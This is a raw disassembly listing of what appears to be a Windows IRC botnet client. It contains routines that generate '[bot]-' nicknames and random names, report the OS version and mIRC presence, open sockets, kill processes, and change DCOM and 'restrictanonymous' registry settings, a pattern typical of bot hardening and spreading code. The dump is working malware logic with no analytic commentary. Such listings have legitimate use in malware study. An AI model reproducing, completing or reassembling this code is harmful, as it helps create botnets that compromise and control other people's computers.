sub_415339	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415417	proc near		; CODE XREF: sub_40EE72+4B08p
					; sub_416E95+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2710724h
		mov	esi, eax
		test	esi, esi
		jz	short loc_415449
		push	0
		push	esi
		nop
		call	near ptr 27D0C34h
		test	eax, eax
		jnz	short loc_415449
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26217F0h


loc_415449:				; CODE XREF: sub_415417+1Aj
					; sub_415417+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415417	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41544E	proc near		; CODE XREF: sub_4030D1+Ap
					; ___:0040369Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_41730A
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4246A0
		call	sub_417DC4
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41544E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_4450CC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_43F650
		test	eax, eax
		jnz	short loc_415502
		push	dword ptr [esi]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	sub_417076
		pop	ecx
		push	edi
		call	near ptr 25F0962h
		nop


loc_415502:				; CODE XREF: ___:004154E8j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415683
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415683
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_415683
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_43F5C4
		test	eax, eax
		jz	short loc_41557B
		call	dword_43F5FC
		push	eax
		push	offset dword_43892C
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417076
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 25F0962h


loc_41557B:				; CODE XREF: ___:00415556j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, edi
		jnz	short loc_4155A5
		push	dword ptr [ebp-18h]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4172AE
		jmp	short loc_4155B3
; ---------------------------------------------------------------------------


loc_4155A5:				; CODE XREF: ___:0041558Bj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4179C0


loc_4155B3:				; CODE XREF: ___:004155A3j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43C80C
		push	dword ptr [esi]
		call	dword_43F6B8
		cmp	dword_489DDC, edi
		jnz	short loc_415615
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_4156DD
		add	esp, 10h
		test	eax, eax
		jnz	short loc_415615
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	sub_417076
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0962h


loc_415615:				; CODE XREF: ___:004155CAj
					; ___:004155EBj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_4388E0
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_4165C4
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41565C
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset dword_4388A4
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417076
		add	esp, 0Ch
		push	ebx
		call	near ptr 25F0962h
		nop


loc_41565C:				; CODE XREF: ___:00415637j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_43886C
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417076
		add	esp, 10h
		push	edi
		nop
		call	near ptr 25F0962h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415683	proc near		; CODE XREF: ___:00415518p
					; ___:00415525p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 1
		jnz	short loc_4156D3
		mov	esi, [ebp+arg_4]


loc_4156A1:				; CODE XREF: sub_415683+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4156C8
		test	al, al
		jz	short loc_4156D7
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 1
		jz	short loc_4156A1
		jmp	short loc_4156D3
; ---------------------------------------------------------------------------


loc_4156C8:				; CODE XREF: sub_415683+27j
		push	offset dword_438968
		call	sub_40BFE1
		pop	ecx


loc_4156D3:				; CODE XREF: sub_415683+19j
					; sub_415683+43j
		xor	eax, eax
		jmp	short loc_4156DA
; ---------------------------------------------------------------------------


loc_4156D7:				; CODE XREF: sub_415683+2Bj
		push	1
		pop	eax


loc_4156DA:				; CODE XREF: sub_415683+52j
		pop	esi
		leave
		retn
sub_415683	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156DD	proc near		; CODE XREF: ___:004155E1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415708
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4389A0
		call	sub_40BFE1
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415708:				; CODE XREF: sub_4156DD+11j
		push	1
		pop	eax
		retn
sub_4156DD	endp

; ---------------------------------------------------------------------------
dword_41570C	dd 81EC8B55h, 5A4ECh, 8458B00h,	786A5756h, 8DF08B59h, 0FFFDECBDh
					; DATA XREF: sub_40EE72+5621o
		dd 0F3016AFFh, 0B8895FA5h, 1DCh, 0FA5C858Dh, 6850FFFFh
		dd 202h, 0F5E015FFh, 0F6330043h, 1D74C63Bh, 8B646850h
		dd 8EE80043h, 0FFFFFF68h, 1BE8B475h, 83000019h,	90570CC4h
		dd 1DB1FDE8h, 8A685702h, 90004159h, 3CA88FE8h, 75C08502h
		dd 8E89029h, 500222B3h,	438B1468h, 685BE800h, 5959FFFFh
		dd 0F5C815FFh, 75FF0043h, 18E0E8B4h, 57590000h,	0B1C4E890h
		dd 6A53021Dh, 0E0458D10h, 85E85056h, 8300001Bh,	0C7660CC4h
		dd 2E045h, 0FFB075FFh, 43F66815h, 57066A00h, 8966026Ah
		dd 7589E245h, 0E815FFE4h, 8B0043F6h, 0FFFB83D8h, 13B840Fh
		dd 458B0000h, 69106AB4h, 234C0h, 0CC988900h, 8D004450h
		dd 5350E045h, 0F69415FFh, 0C0850043h, 117850Fh,	0FF680000h
		dd 537FFFFFh, 0F69015FFh, 0C0850043h, 103850Fh,	0C8680000h
		dd 0C700438Ah, 0CF045h,	75890000h, 0F87589F4h, 0FF6744E8h
		dd 7D8959FFh, 0FC458D08h, 10FC45C7h, 50000000h,	50CC458Dh
		dd 0FC15FF53h, 8B0043F6h, 0FFFF83F8h, 0CA840Fh,	75FF0000h
		dd 8458D08h, 68086A50h,	0FFFFh,	4815FF57h, 830043F6h, 0C574FFF8h
		dd 0CE45B70Fh, 89B475FFh, 0FF50C875h, 15FFD075h, 43F6F4h
		dd 0EC858D50h, 68FFFFFBh, 438A74h, 1A20E850h, 858D0000h
		dd 0FFFFFBECh, 66D3E850h, 8D57FFFFh, 0FFFBEC85h, 50066AFFh
		dd 14B1E8h, 0B8458900h,	234C069h, 4D8B0000h, 24C483B4h
		dd 50C48889h, 458D0044h, 858D50DCh, 0FFFFFDECh,	7E685056h
		dd 8D004154h, 5056F045h, 0B3F5E890h, 4D8B0225h,	34C969B8h
		dd 3B000002h, 0D48189C6h, 74004450h, 0C8753913h, 0FF37850Fh
		dd 326AFFFFh, 0AF6DE890h, 0EDEB021Eh, 22B17EE8h, 68509002h
		dd 438A28h, 0FF66D0E8h,	0EB5959FFh, 87D8B03h, 0F5FC15FFh
		dd 8D500043h, 0FFFBEC85h, 89E468FFh, 0E8500043h, 197Eh
		dd 390CC483h, 2075C475h, 0EC858D56h, 0FFFFFFFBh, 8D50C075h
		dd 0FFFDF085h, 0B5FF50FFh, 0FFFFFDECh, 0FF7D24E8h, 14C483FFh
		dd 0FBEC858Dh, 0E850FFFFh, 0FFFF6609h, 15FF5759h, 43F700h
		dd 15FF53h, 0FF0043F7h,	43F5C815h, 0B475FF00h, 16F5E8h
		dd 0E8565900h, 21DAFDAh, 0C0335B90h, 4244439h, 0C3C0940Fh

; =============== S U B	R O U T	I N E =======================================



sub_415994	proc near		; CODE XREF: sub_415CFF+49p
					; DATA XREF: ___:off_438BB0o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 2600000h
		push	eax
		call	sub_417300
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aBot ; "[bot]-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_4159ED


loc_4159C7:				; CODE XREF: sub_415994+57j
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_4159C7


loc_4159ED:				; CODE XREF: sub_415994+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415994	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159F2	proc near		; CODE XREF: sub_40EE72+3E7Fp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2600000h
		push	eax
		call	sub_417300
		pop	ecx
		call	sub_41730A
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42F5C8
		test	esi, esi
		jle	short loc_415A35


loc_415A1F:				; CODE XREF: sub_4159F2+41j
		call	sub_41730A
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_415A1F


loc_415A35:				; CODE XREF: sub_4159F2+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4159F2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 2600000h
		nop
		push	eax
		call	sub_417300
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_438C0C
		push	eax
		push	esi
		nop
		call	near ptr 27C0000h
		movsx	eax, byte_438C0C
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_415A7B:				; CODE XREF: ___:00415A86j
		cmp	eax, ecx
		jnz	short loc_415A82
		mov	[ebp-4], edx


loc_415A82:				; CODE XREF: ___:00415A7Dj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_415A7B
		push	61h
		pop	ecx


loc_415A8B:				; CODE XREF: ___:00415A96j
		cmp	eax, ecx
		jnz	short loc_415A92
		mov	[ebp-4], edx


loc_415A92:				; CODE XREF: ___:00415A8Dj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_415A8B
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42F5C8, esi
		jle	short loc_415AD7


loc_415AB1:				; CODE XREF: ___:00415AD5j
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415AB1


loc_415AD7:				; CODE XREF: ___:00415AAFj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 2600000h
		nop
		push	eax
		call	sub_417300
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 27E02A3h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_438C10
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415B4C


loc_415B26:				; CODE XREF: ___:00415B4Aj
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415B26


loc_415B4C:				; CODE XREF: ___:00415B24j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43C80C
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 279136Ch
		nop
		nop
		call	near ptr 2600000h
		push	eax
		call	sub_417300
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_415BD6
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BB6
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_415BA6
		mov	esi, offset a95	; "95"


loc_415BA6:				; CODE XREF: ___:00415B9Fj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_415C12
		mov	esi, offset aNt	; "NT"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------


loc_415BB6:				; CODE XREF: ___:00415B96j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_415BC6
		mov	esi, offset a98	; "98"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------


loc_415BC6:				; CODE XREF: ___:00415BBDj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_415C0D
		mov	esi, offset aMe	; "ME"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------


loc_415BD6:				; CODE XREF: ___:00415B8Dj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_415C0D
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BEF
		mov	esi, offset a2k	; "2K"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------


loc_415BEF:				; CODE XREF: ___:00415BE6j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_415BFF
		mov	esi, offset aXp	; "XP"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------


loc_415BFF:				; CODE XREF: ___:00415BF6j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_438C1C
		jz	short loc_415C12


loc_415C0D:				; CODE XREF: ___:00415BCDj
					; ___:00415BDDj
		mov	esi, offset dword_42DDDC


loc_415C12:				; CODE XREF: ___:00415BADj
					; ___:00415BB4j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_438C14
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415C56


loc_415C30:				; CODE XREF: ___:00415C54j
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415C30


loc_415C56:				; CODE XREF: ___:00415C2Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C5C	proc near		; CODE XREF: sub_415CFF+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 2600000h
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_415CAB
		call	dword_43F674
		test	eax, eax
		mov	eax, offset dword_438C28
		jnz	short loc_415C94
		mov	eax, offset byte_43C80C


loc_415C94:				; CODE XREF: sub_415C5C+31j
		push	eax
		push	esi
		push	offset dword_438C20
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_415CCB
; ---------------------------------------------------------------------------


loc_415CAB:				; CODE XREF: sub_415C5C+22j
		call	dword_43F674
		test	eax, eax
		mov	eax, offset dword_438C28
		jnz	short loc_415CBF
		mov	eax, offset byte_43C80C


loc_415CBF:				; CODE XREF: sub_415C5C+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_415CCB:				; CODE XREF: sub_415C5C+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_415CFA
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418DE0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 18h


loc_415CFA:				; CODE XREF: sub_415C5C+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_415C5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CFF	proc near		; CODE XREF: sub_40EB92+7Fp
					; sub_40ECFA+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_438BAC


loc_415D0B:				; CODE XREF: sub_415CFF+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_415D26
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4176D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415D30
; ---------------------------------------------------------------------------


loc_415D26:				; CODE XREF: sub_415CFF+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_415D30:				; CODE XREF: sub_415CFF+25j
		test	eax, eax
		jnz	short loc_415D42
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_438C10
		jb	short loc_415D0B
		jmp	short loc_415D50
; ---------------------------------------------------------------------------


loc_415D42:				; CODE XREF: sub_415CFF+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_438BB0[eax*4]
		pop	ecx


loc_415D50:				; CODE XREF: sub_415CFF+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_415D63
		push	[ebp+arg_0]
		call	sub_415C5C
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415D63:				; CODE XREF: sub_415CFF+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_415CFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D68	proc near

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43F668
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415E26
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4450CC[ecx], esi
		jz	short loc_415E26
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43F6F4
		push	eax
		mov	edi, offset dword_489DE4
		push	offset unk_438C2C
		push	edi
		call	sub_4172AE
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40D679
		push	edi
		call	sub_40BF6D
		add	esp, 28h


loc_415E26:				; CODE XREF: sub_415D68+5Dj
					; sub_415D68+7Ej
		push	esi
		call	dword_43F700
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_415D68	endp

; ---------------------------------------------------------------------------
byte_415E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40EE72+35E0o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2A6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 64358BA5h, 0C7004240h, 0A083h, 100h, 0FFFF3300h
		dd 75FFD475h, 0F415FFE0h, 500043F6h, 0FED0858Dh, 6468FFFFh
		dd 5000438Ch, 142DE8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0DC458B50h
		dd 234C069h, 0C0050000h, 5000444Eh, 2D6FE8h, 1CC48300h
		dd 50F8458Dh, 0FF50858Dh, 5057FFFFh, 415D6868h,	90575700h
		dd 25AE12E8h, 89C73B02h, 0B74FC45h, 75F47D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E890FC75h, 220B918h, 88B3FFh, 0BB890000h
		dd 0A4h, 458DD6FFh, 50046AE0h, 5008458Dh, 149BE8h, 0CC48300h
		dd 0FF0875FFh, 43F59C15h, 89504000h, 15FF0845h,	43F664h
		dd 8D084589h, 46A0845h,	0E0458D50h, 1472E850h, 0C4830000h
		dd 0FF3DE90Ch
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F26	proc near		; DATA XREF: sub_40EE72+5F4Do

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_415F6D
		call	sub_415F86
		jmp	short loc_415F72
; ---------------------------------------------------------------------------


loc_415F6D:				; CODE XREF: sub_415F26+3Ej
		call	sub_4162AA


loc_415F72:				; CODE XREF: sub_415F26+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_417076
		pop	ecx
		push	0
		nop
		call	near ptr 25F0962h
sub_415F26	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F86	proc near		; CODE XREF: sub_415F26+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43F738, edi
		jnz	loc_4160B8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_416011
		mov	ax, word_439014
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43F68C
		test	eax, eax
		jz	short loc_415FF3
		push	offset unk_438FD4
		jmp	short loc_415FF8
; ---------------------------------------------------------------------------


loc_415FF3:				; CODE XREF: sub_415F86+64j
		push	offset dword_438FA8


loc_415FF8:				; CODE XREF: sub_415F86+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_416024
; ---------------------------------------------------------------------------


loc_416011:				; CODE XREF: sub_415F86+36j
		lea	eax, [ebp+var_214]
		push	offset unk_438F68
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_416024:				; CODE XREF: sub_415F86+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_416043
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416043:				; CODE XREF: sub_415F86+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_4160B1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43F68C
		test	eax, eax
		jz	short loc_416093
		push	offset unk_438F08
		jmp	short loc_416098
; ---------------------------------------------------------------------------


loc_416093:				; CODE XREF: sub_415F86+104j
		push	offset unk_438EC4


loc_416098:				; CODE XREF: sub_415F86+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_4160CB
; ---------------------------------------------------------------------------


loc_4160B1:				; CODE XREF: sub_415F86+E2j
		push	offset unk_438E78
		jmp	short loc_4160BD
; ---------------------------------------------------------------------------


loc_4160B8:				; CODE XREF: sub_415F86+13j
		push	offset unk_438E38


loc_4160BD:				; CODE XREF: sub_415F86+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_4160CB:				; CODE XREF: sub_415F86+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4160EA
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_4160EA:				; CODE XREF: sub_415F86+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		cmp	dword_43F760, edi
		pop	ecx
		jnz	loc_416265
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
